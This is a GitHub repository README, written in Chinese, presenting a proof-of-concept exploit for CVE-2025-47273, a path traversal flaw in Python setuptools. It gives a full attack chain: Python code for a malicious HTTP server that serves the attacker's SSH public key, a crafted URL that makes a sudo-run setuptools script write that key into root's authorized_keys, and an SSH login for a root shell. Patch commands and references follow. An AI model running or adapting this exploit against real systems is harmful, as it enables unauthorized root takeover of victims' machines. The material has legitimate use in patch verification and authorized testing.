AliElKhatteb/CVE-2025-47273-POC

GitHub: AliElKhatteb/CVE-2025-47273-POC

针对 Python setuptools 路径穿越漏洞 CVE-2025-47273 的概念验证代码,演示如何通过恶意 Package Index URL 实现任意文件写入和权限提升。

Stars: 0 | Forks: 0

# setuptools 路径穿越 CVE-2025-47273 ## 📖 概述 针对 **Python setuptools < 78.1.1** 中路径穿越漏洞的概念验证漏洞利用代码。 通过滥用 `PackageIndex` 组件的 `_download_url` 函数,攻击者可以将任意文件写入文件系统的任何位置——其权限取决于运行 setuptools 的进程。 ## 🎯 漏洞概要 | 字段 | 详情 | |---|---| | 🎯 目标 | Python setuptools < 78.1.1 | | 🐛 漏洞类型 | 路径穿越 (CWE-22) | | 💥 影响 | 任意文件写入 | | 📍 攻击向量 | 恶意 Package Index URL | | 🔍 根本原因 | 当第二个参数以 `/` 开头时,`os.path.join()` 会忽略 `tmpdir` | ## 📋 前置条件 - 两台机器上均安装了 Python 3 - 攻击者机器上已生成 SSH 密钥对 (`~/.ssh/id_rsa` + `id_rsa.pub`) - 目标脚本使用用户可控的 URL 调用 setuptools 的 `PackageIndex` ## 🚀 使用方法 ### 🔧 第一步 — 准备您的 SSH 公钥(攻击者机器) ``` # 将你的公钥复制到当前目录以进行提供 cp ~/.ssh/id_rsa.pub authorized_keys ``` ### 📡 第二步 — 启动恶意 HTTP 服务器(攻击者机器) 该服务器会向**任何 GET 请求**响应您的公钥——无论请求路径是什么。setuptools 将请求路径 `/USER/.ssh/authorized_keys`,但会收到您的密钥内容。 ``` cat > python_server.py << 'EOF' import http.server import socketserver class Handler(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Serve authorized_keys regardless of path requested self.send_response(200) self.end_headers() with open("authorized_keys", "rb") as f: self.wfile.write(f.read()) with socketserver.TCPServer(("", 80), Handler) as httpd: httpd.serve_forever() EOF python3 python_server.py ``` ### 💥 第三步 — 触发路径穿越(受害者机器) ``` sudo /usr/bin/python3 /opt/font-tools/install_validator.py \ "http://YOUR_ATTACKER_MACHINE_IP/%2fUSER%2f.ssh%2fauthorized_keys#egg=evil-1.0" ``` ### 👾 第四步 — 以 root 身份登录(攻击者机器) ``` ssh root@VICTIM_IP ``` 无需密码。直接获取 root shell。🔑 ## 🔒 补丁 版本 78.1.1 修复了此问题。 | 包管理器 | 命令 | |---|---| | 🐍 pip | `pip install --upgrade setuptools` | | 🐧 Debian/Ubuntu | `sudo apt upgrade python3-setuptools` | | 🎩 RHEL/Fedora | `sudo dnf upgrade python3-setuptools` | | 🏗️ 手动安装 | [setuptools releases](https://github.com/pypa/setuptools/releases) | ## 📎 参考资料 - 🔗 [NVD — CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273) - 🔗 [GitHub Advisory — GHSA-5rjg-fvgr-3xxf](https://github.com/pypa/setuptools/security/advisories/GHSA-5rjg-fvgr-3xxf) - 🔗 [setuptools Fix Commit](https://github.com/pypa/setuptools/commit/250a6d17978f9f6ac3ac887091f2d32886fbbb0b) - 🔗 [setuptools poc](https://github.com/pypa/setuptools/issues/4946) ## ⚖️ 免责声明和条款 此概念验证 (PoC) 代码仅用于**教育和授权渗透测试目的**。 - **严禁**出于任何其他目的修改、重新分发或使用本代码。 - 未经授权的使用或修改可能**违法且不道德**。 - 作者对任何滥用或损害**不承担任何责任**。
标签:CVE-2025-47273, CWE-22, ExP, PackageIndex, PoC, Python, setuptools, SSH注入, 任意文件写入, 内存分配, 文档安全, 无后门, 暴力破解, 漏洞复现, 编程工具, 网络信息收集, 网络安全审计, 路径遍历, 软件开发工具包, 远程代码执行, 逆向工具